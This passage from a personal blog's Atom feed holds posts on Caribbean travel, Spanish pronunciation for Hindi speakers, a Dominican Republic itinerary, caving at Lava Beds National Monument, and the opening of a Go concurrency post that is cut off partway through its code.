<a href="/travel/aruba/">Aruba</a> has European grace, European prices, and beautiful sandy beaches.
The inner island is mostly a desert though. It is mostly for couples, don&rsquo;t come here looking for nightclubs.</p>
<p>
<a href="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/">Jamaica</a> has both party life and a natural beauty but is a bit high on crime.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/caribbean" term="caribbean" label="caribbean"/></entry><entry><title type="html">Spanish Pronunciations for Hindi speakers</title><link href="https://ashishb.net/linguistics/spanish-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/indian-accent/?utm_source=atom_feed" rel="related" type="text/html" title="Indian accent"/><link href="https://ashishb.net/linguistics/sound-of-v/?utm_source=atom_feed" rel="related" type="text/html" title='Hindi: The missing "v" sound'/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="related" type="text/html" title='The five different ways to pronounce the name "Chavez"'/><id>https://ashishb.net/linguistics/spanish-pronunciations-for-hindi-speakers/</id><author><name>Ashish Bhatia</name></author><published>2021-11-20T17:00:26+00:00</published><updated>2021-11-20T17:00:26+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock the secrets of Spanish with a Hindi advantage! Discover phonetic similarities and pronunciation tips for mastering this vibrant language.</blockquote><p>Every resource that I came across tries to teach Spanish to English speakers.
Those who already know Hindi/Devanagari have certain advantages.
Both in terms of producing the correct Spanish pronunciation and being able to read/speak the Spanish language.
Like Hindi, Spanish is much more phonetic and rule-based than English.</p>
<h3 id="alphabet-set">Alphabet set</h3>
<p>Many alphabets in Spanish are pronounced similar to English, so, let me just present you the subtle differences</p>
<ol>
<li>Spanish A, is pronounced like Hindi अ unlike English A (ए)</li>
<li>Spanish B, like Hindi ब, is soft. English B is plosive, that is, pronounced with a gush of air.</li>
<li>Spanish C, like English C, varies between क and स. Specifically, ca -&gt; का, co -&gt; को, cu -&gt; कु, ch -&gt; च, in all other cases, it is pronounced स.</li>
<li>Spanish D is pronounced द. English D is a non-retroflex ड.</li>
<li>Spanish E is pronounced ए.</li>
<li>Spanish F, similar to English is labio-dental, so, same as Hindi&rsquo;s फ़.</li>
<li>Spanish G has two different pronunciations.
<ol>
<li>When it is ज in English, it becomes ह in Spanish. For example, English general is pronounced general (हेनेराल)</li>
<li>When it is ग in English, it remains ग. For example, the English word global is pronounced global(ग्लोबाल) in Spanish.</li>
</ol>
</li>
<li>Spanish H is always silent, except for &ldquo;ch&rdquo; where it forms च sound.</li>
<li>Spanish J is pronounced ह in Latin America. And in Spain as ख़ - the guttural sound common in words of Persian origin.</li>
<li>Spanish LL (two l&rsquo;s) was once considered a single letter. Its pronunciation varies from ज to य to ल्य across different parts of the world. All words in a region will use the same pronunciation though. ज to य variance is common in Hindi as well, for example, जोगी - योगी, जमुना - यमुना.</li>
<li>Spanish Ñ is pronounced ञ.</li>
<li>Spanish P like Hindi प is never aspirated. Contrast this with English P, which at the beginning of a word, is pronounced प्ह.</li>
<li>Spanish Q is always followed by u and together forms qu -&gt; क.</li>
<li>Spanish R is pronounced like Hindi र in front of the mouth. Contrast this with the English R involves a curl and is pronounced in the middle of the mouth.</li>
<li>Spanish RR, called trilled r, is hard for English speakers. It is easy for Hindi speakers. It is just र्र sound.</li>
<li>Spanish T is pronounced त. English T   
    
    
<a href="https://accenteraser.com/blog/the-5-types-of-t-sounds-in-american-english/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sounds</a> don&rsquo;t exist in Spanish.</li>
<li>Spanish V depending on the word pronounced व or ब. To a great extent, the two sounds are interchangeable for a Spanish speaker. Like Hindi, Spanish does not have a 
<a href="/linguistics/sound-of-v/">labio-dental व़</a>s</li>
<li>Spanish does not have W except in imported words. And in those, it is the same as English W (व).</li>
<li>Spanish Z is pronounced स in Latin America and थ in Spain. Spanish does not have ज़ sound.</li>
</ol>
<h3 id="pronouncing-words">Pronouncing words</h3>
<ol>
<li>Spanish is way more phonetic than English.</li>
<li>Spanish is only slightly less phonetic than Hindi.</li>
<li>Spanish hates consonant clusters as well as repeated letters. &ldquo;School&rdquo; becomes Escuela. &ldquo;Spanish&rdquo; becomes &ldquo;Español&rdquo;.</li>
<li>There are almost no silent letters in Spanish. Except for h. So, metal is pronounced मेताल.</li>
<li>There are no unwritten sounds in Spanish words. So, University -&gt; Universidad is pronounced ऊनीवर्सीदाद. The English word has a य sound leading to यूनिवर्सिटी.</li>
<li>English has a mix of Germanic and Latin words.
<ol>
<li>The Latin word is usually considered more formal in English. For example, find and encounter.</li>
<li>The Latin word usually hints at what the Spanish word might be. The Spanish word for find is encuentre (ऐनकुएंत्रे).</li>
</ol>
</li>
<li>Spanish unlike Hindi is a <strong>stressed language</strong>. By default, the second-last syllable is stressed. Any other stress is marked with a tick (´) over the syllable. Its usage change the sentence meanings. For example, <code>I speak -&gt; hablo(आब्लो)</code> while <code>He spoke -&gt; Habló(आब्लोऽ)</code></li>
</ol>
<p>In a follow-on post, I will give an example of introductory Spanish sentences to get by in Latin America.</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/><category scheme="https://ashishb.net/tag/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Dominican Republic in 5 days</title><link href="https://ashishb.net/travel/dominican-republic/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/puerto-rico/?utm_source=atom_feed" rel="related" type="text/html" title="Puerto Rico in 4 days"/><link href="https://ashishb.net/travel/caribbean-trip-guide/?utm_source=atom_feed" rel="related" type="text/html" title="Where to go on your first Caribbean trip"/><link href="https://ashishb.net/travel/aruba/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Aruba"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><id>https://ashishb.net/travel/dominican-republic/</id><author><name>Ashish Bhatia</name></author><published>2021-11-01T08:00:09+00:00</published><updated>2021-11-01T08:00:09+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the vibrant culture, stunning beaches, and rich history of the Dominican Republic. From Punta Cana to Santo Domingo, every corner holds an adventure!</blockquote><p>The Dominican Republic is probably the most touristy Spanish-speaking 
<a href="/travel/caribbean-trip-guide/">Caribbean</a> island.
In my experience, it can be aptly called the tout capital of the Caribbean.
We went there in the shadows of COVID-19.</p>
<ol>
<li>The island has pretty good intra-city and inter-city 
<a href="/travel/public-transport-guide/">public transport</a>.</li>
<li>The local currency DOP, Dominican Peso, is about 1/60th of the US dollar.</li>
</ol>
<h2 id="day-1---santo-domingo-to-punta-cana">Day 1 - Santo Domingo to Punta Cana</h2>
<p>We landed at the Santo Domingo airport, took a 200 DOP guagua to Parque Enriquillo, and from there took a 2.5-hour   
    
    
<a href="https://www.rome2rio.com/map/Santo-Domingo/Punta-Cana?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bus ride</a> to Punta Cana. We stayed there near the beach. Punta Cana is a typical Caribbean resort city full of touts. You won&rsquo;t miss much if you skip it. But if you go, I would recommend   
    
    
<a href="https://www.tripadvisor.com/Restaurant_Review-g3176298-d7812076-Reviews-Kats_Corner-Bavaro_Punta_Cana_La_Altagracia_Province_Dominican_Republic.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kat&rsquo;s corner</a> for breakfast.</p>
<figure>
    
    <a href="Saona-island-2-1024x576.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Saona-island-2-1024x576.jpg"
         alt="A stunning aerial view of a tropical island with crystal-clear turquoise water, lush greenery, and white sandy beaches, capturing the vibrant essence of a pristine paradise." width="900"/> </a>
</figure>

<figure>
    
    <a href="Saona-island-1-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Saona-island-1-1-1024x768.jpg"
         alt="A tour boat navigates turquoise waters near Saona Island, surrounded by lush greenery and white sandy beaches, capturing a vibrant paradise landscape." width="900"/> </a>
</figure>

<h2 id="day-2---punta-cana-to-sanoa-island-tour">Day 2 - Punta Cana to Sanoa Island tour</h2>
<p>We went on a single-day 
<a href="/travel/first-time-cruisers/">cruise</a> to the island of Saona that included a lunch buffet.
The boat ride was good, the natural swimming pool was great, the lunch buffet was average,
and continuing the tradition of touting, the workers on the ship were always trying to sell you
either expensive drinks on the island or overpriced Bandanas.
I wouldn&rsquo;t recommend doing it here, 
<a href="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/">Stingray City</a> and 
<a href="/travel/belize/">Belize</a> is a much superior experiences.</p>
<figure>
    
    <a href="Sanoa-Island-1_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sanoa-Island-1_resized-1024x768.jpg"
         alt="A beach scene on Sanoa Island depicts palm trees, white sand, and turquoise water." width="900"/> </a>
</figure>

<figure>
    
    <a href="headshot-in-cruise-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="headshot-in-cruise-1024x768.jpg"
         alt="A beach scene on Saona Island depicts palm trees, white sand, and turquoise water under a clear blue sky, creating a tropical paradise atmosphere." width="900"/> </a>
</figure>

<figure>
    
    <a href="cruise-1024x576.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="cruise-1024x576.jpg"
         alt="Cruise in Dominican Republic" width="900"/> </a>
</figure>

<p>Saona Islands are about 1.5 hours&rsquo; drive from Punta Cana towards Santo Domingo, so, we,
being 
<a href="/all/choosing-a-travel-backpack/">backpack-only</a> travelers didn&rsquo;t go back but rather took an 80 DOP public
ride from Bayahibe to nearby La Romana.
La Romana wasn&rsquo;t in our initial plan, but I was pleasantly surprised at how clean and well-maintained this city
is compared to both Santo Domingo and Punta Cana.</p>
<figure>
    
    <a href="La-Romana_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="La-Romana_resized-1024x768.jpg"
         alt="A clean and well-maintained cityscape in La Romana, noted for its contrast to Santo Domingo and Punta Cana, with buildings and palm trees under a clear sky." width="900"/> </a>
</figure>

<h2 id="day-3---santo-domingo">Day 3 - Santo Domingo</h2>
<p>Early morning, we took a bus ride to Santo Domingo. Given its population, the island indeed has very well-developed public transport. We stayed in Zona Colonial surrounded by old structures. I would highly recommend this area for a stay.</p>
<p>In the afternoon, we took a 30 DOP guagua ride to the Three Eyes National Park (Los Tres Ojos).
All the lakes are gorgeous and full of fish. There is a 50 DOP ride for the fourth lake inside the national park,
I would recommend the fourth lake for the experience of going on a boat being pulled by the rope.
You don&rsquo;t need more than an hour for this national park.
For the return, we couldn&rsquo;t find a guagua and we took a 150 DOP motor ride back to the city.</p>
<figure>
    
    <a href="Los-Tres-Ojos-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Los-Tres-Ojos-1-1024x768.jpg"
         alt="Los Tres Ojos National Park - a series of limestone caves featuring turquoise blue water surrounded by lush vegetation" width="900"/> </a>
</figure>

<figure>
    
    <a href="Los-Tres-Ojos-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Los-Tres-Ojos-2-1024x768.jpg"
         alt="A serene cave with a large, clear blue water pool inside, illuminated by natural light filtering through the opening above" width="900"/> </a>
</figure>

<figure>
    
    <a href="Los-Tres-Ojos-4-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Los-Tres-Ojos-4-768x1024.jpg"
         alt="Los Tres Ojos National Park - a scenic series of open-air limestone caves containing stunning turquoise lagoons, surrounded by lush greenery." width="900"/> </a>
</figure>

<figure>
    
    <a href="Los-Tres-Ojos-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Los-Tres-Ojos-3-1024x768.jpg"
         alt="A landscape view featuring &#39;Los Tres Ojos&#39; caves with clear blue waters and vibrant surrounding vegetation, highlighting the natural beauty of the area." width="905"/> </a>
</figure>

<figure>
    
    <a href="Los-Tres-Ojos-5-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Los-Tres-Ojos-5-768x1024.jpg"
         alt="Los Tres Ojos National Park - A historical site with ancient, stone structures partially overgrown by nature, surrounded by lush greenery in Santo Domingo." width="900"/> </a>
</figure>

<h2 id="day-4---santo-domingo-colonial-town">Day 4 - Santo Domingo colonial town</h2>
<p>Later, we checked out the historical structures including the lighthouse. Santo Domingo, founded in 1496, is the oldest continuously inhabited European settlement in the Americas.</p>
<figure>
    
    <a href="Lighthouse-monument-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Lighthouse-monument-1024x768.jpg"
         alt="Lighthouse Monument, Santo Domingo, Dominican Republic" width="905"/> </a>
</figure>

<figure>
    
    <a href="Zona-colonial-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Zona-colonial-1-1024x768.jpg"
         alt="A large lighthouse-like monument stands prominently with surrounding urban landscape, featuring historic architectural elements. Text visible reads &#39;mericas,&#39; hinting at location or cultural context." width="905"/> </a>
</figure>

<figure>
    
    <a href="Zona-colonial-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Zona-colonial-2-1024x768.jpg"
         alt="Zona Colonial, Santo Domingo, Dominican Republic" width="905"/> </a>
</figure>

<figure>
    
    <a href="Zona-colonial-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Zona-colonial-3-768x1024.jpg"
         alt="A colonial-style street features colorful historical buildings with arched windows and wooden balconies, bordered by lush greenery under a clear blue sky." width="900"/> </a>
</figure>

<figure>
    
    <a href="Zona-colonial-4-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Zona-colonial-4-1024x768.jpg"
         alt="A colonial-style street scene depicts historical architecture with arched doorways and balconies, bordered by lush greenery under a clear sky." width="905"/> </a>
</figure>

<figure>
    
    <a href="Zona-colonial-5-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Zona-colonial-5-1024x768.jpg"
         alt="Zona Colonial, Dominican Republic" width="905"/> </a>
</figure>

<p>In the evening, we tried Piña Colada (120 DOP) at   
    
    
<a href="https://goo.gl/maps/SE1iZ2RzjpfhuD7W9?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Juego Therapia</a> on Calle El Donde. &ldquo;Calle El Donde&rdquo; street is a great place to take a stroll or to find a restaurant to eat in. The standard price of plain juices is about 50 DOP.</p>
<h2 id="day-4---berro-waterfalls-hike">Day 4 - Berro Waterfalls hike</h2>
<p>We got a tour guide for a hike deep in the boonies. We started at 6:30 AM and returned at about 6:50 PM, just in time before the 7 PM curfew kicked in. It rained the previous day, so, the hike wasn&rsquo;t a pleasant or smooth experience but was worth it. The Berrow waterfalls were great and they reminded me of 
<a href="/travel/dominica/">Dominica</a>.</p>
<figure>
    
    <a href="Berro-waterfalls-1-576x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Berro-waterfalls-1-576x1024.jpg"
         alt="Berro Waterfalls surrounded by lush greenery, capturing cascading water in a natural, tropical setting&#39;" width="900"/> </a>
</figure>

<figure>
    
    <a href="Berro-waterfalls-2-576x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Berro-waterfalls-2-576x1024.jpg"
         alt="Berro Waterfalls" width="900"/> </a>
</figure>

<figure>
    
    <a href="Berro-waterfalls-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Berro-waterfalls-3-768x1024.jpg"
         alt="Berro Waterfalls" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/caribbean" term="caribbean" label="caribbean"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/><category scheme="https://ashishb.net/tag/dominican-republic" term="dominican-republic" label="dominican-republic"/></entry><entry><title type="html">Cave Exploration at Lava Beds National Monument</title><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/mt-whitney/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Whitney in winters"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><link href="https://ashishb.net/travel/glacier-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Glacier National Park in 4 days"/><id>https://ashishb.net/travel/lava-beds-national-monument/</id><author><name>Ashish Bhatia</name></author><published>2021-10-09T16:00:40+00:00</published><updated>2021-10-09T16:00:40+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the thrilling caves of Lava Beds National Monument! From easy strolls to adrenaline-pumping adventures, discover ten unique caves in just three hours!</blockquote><p>There are several caves at   
    
    
<a href="https://www.nps.gov/labe/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lava Beds National Monument</a> of varying levels of challenges.
I would recommend starting with a few easy ones first before taking it to a higher level.
The caves do get really shallow at times, sometimes, less than a foot in height,
so, don&rsquo;t go in if you get claustrophobic.</p>
<h3 id="gears-to-carry">Gears to carry</h3>
<ol>
<li>  
    
    
<a href="https://amzn.to/33b8rQe?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">HeadLamp</a></li>
<li>  
    
    
<a href="https://amzn.to/3teF2PF?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Helmet</a> - even a bike helmet would work</li>
<li>Knee Pads</li>
<li>  
    
    
<a href="https://amzn.to/3nF2xjJ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Good hiking boots</a></li>
<li>A small   
    
    
<a href="https://www.nps.gov/labe/planyourvisit/upload/cave-brochure-check-with-ranger-11-24-15.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">chart</a> summarizing which caves to do</li>
<li>Detailed report with   
    
    
<a href="https://pubs.usgs.gov/bul/1673/report.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">maps</a> of the caves</li>
</ol>
<h3 id="caves">Caves</h3>
<p>I started with the <strong>Balcony cave</strong>, it&rsquo;s an easy fun cave with a 5-minute journey from entry to exit.
The exit of Balcony cave is joined to the Boulevard cave, it was another fun cave to explore.</p>
<p>Then I went to a much more challenging Thunderbolt cave, while it takes about 15-minutes to finish,
there is a fair bit of crawling required in some portions.</p>
<figure>
    
    <a href="8-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="8-768x1024.jpg"
         alt="Thunderbolt cave" width="900"/> </a>
</figure>

<p>The next one I went to <strong>Lava Brooks cave</strong>, this isn&rsquo;t a loop, so, you can decide how far to go before you return.
It is short but gets narrower than Thunderbolt cave.</p>
<figure>
    
    <a href="9-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="9-1024x768.jpg"
         alt="Thunderbolt cave" width="900"/> </a>
</figure>

<p>Next, I did the <strong>Catacombs cave</strong>, this one is extremely long and has tons of side-passages,
be careful about going here solo.</p>
<figure>
    
    <a href="10-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="10-1024x768.jpg"
         alt="Catacombs cave" width="900"/> </a>
</figure>

<figure>
    
    <a href="11-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="11-1024x768.jpg"
         alt="Catacombs cave" width="900"/> </a>
</figure>

<p><strong>Hercules and Jupiter caves</strong> are joined to each other.
I entered from the Hercules side and exited from the Jupiter side.
This is a bit long, and it takes about 30-minutes but there are small openings,
so, you will see sunlight on a regular basis.</p>
<figure>
    
    <a href="12-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="12-768x1024.jpg"
         alt="Hercules cave" width="900"/> </a>
</figure>

<p>Near to it was a <strong>Sentinel cave</strong>, I entered from the upper Sentinel side and exited from the lower.</p>
<p>I drove around the park to go to <strong>Hopkins Chocolate cave</strong>. It is marked challenging but is relatively easy to do.</p>
<figure>
    
    <a href="13-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="13-768x1024.jpg"
         alt="Hopkins Chocolate cave" width="900"/> </a>
</figure>

<p>The last cave I went to is the <strong>Golden dome</strong>, even though it is marked moderately challenging,
I found it to be harder than the Hopkins Chocolate cave.</p>
<figure>
    
    <a href="14-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="14-1024x768.jpg"
         alt="Golden dome" width="900"/> </a>
</figure>

<p>Overall, I did ten caves in about three and a half hours.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/california" term="california" label="california"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Go Language concurrency and an easy pitfall</title><link href="https://ashishb.net/programming/go-language-concurrency-and-an-easy-pitfall/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/faster-testing-iterations-with-circleci/?utm_source=atom_feed" rel="related" type="text/html" title="Test changes to CircleCI config locally"/><link href="https://ashishb.net/programming/android-catching-ndk-crashes/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Catching NDK crashes"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/openapi/?utm_source=atom_feed" rel="related" type="text/html" title="Use REST with Open API"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><id>https://ashishb.net/programming/go-language-concurrency-and-an-easy-pitfall/</id><author><name>Ashish Bhatia</name></author><published>2021-10-02T16:00:24+00:00</published><updated>2021-10-02T16:00:24+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why Go&rsquo;s goroutines might not behave as expected with for loops and learn a simple fix to ensure expected values are captured every time.</blockquote><p>What should this code print?</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;sync&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  arr <span style="color:#719e07">:=</span> []<span style="color:#dc322f">int</span> {<span style="color:#2aa198">1</span>, <span style="color:#2aa198">2</span>, <span style="color:#2aa198">3</span>}
</span></span><span style="display:flex;"><span>
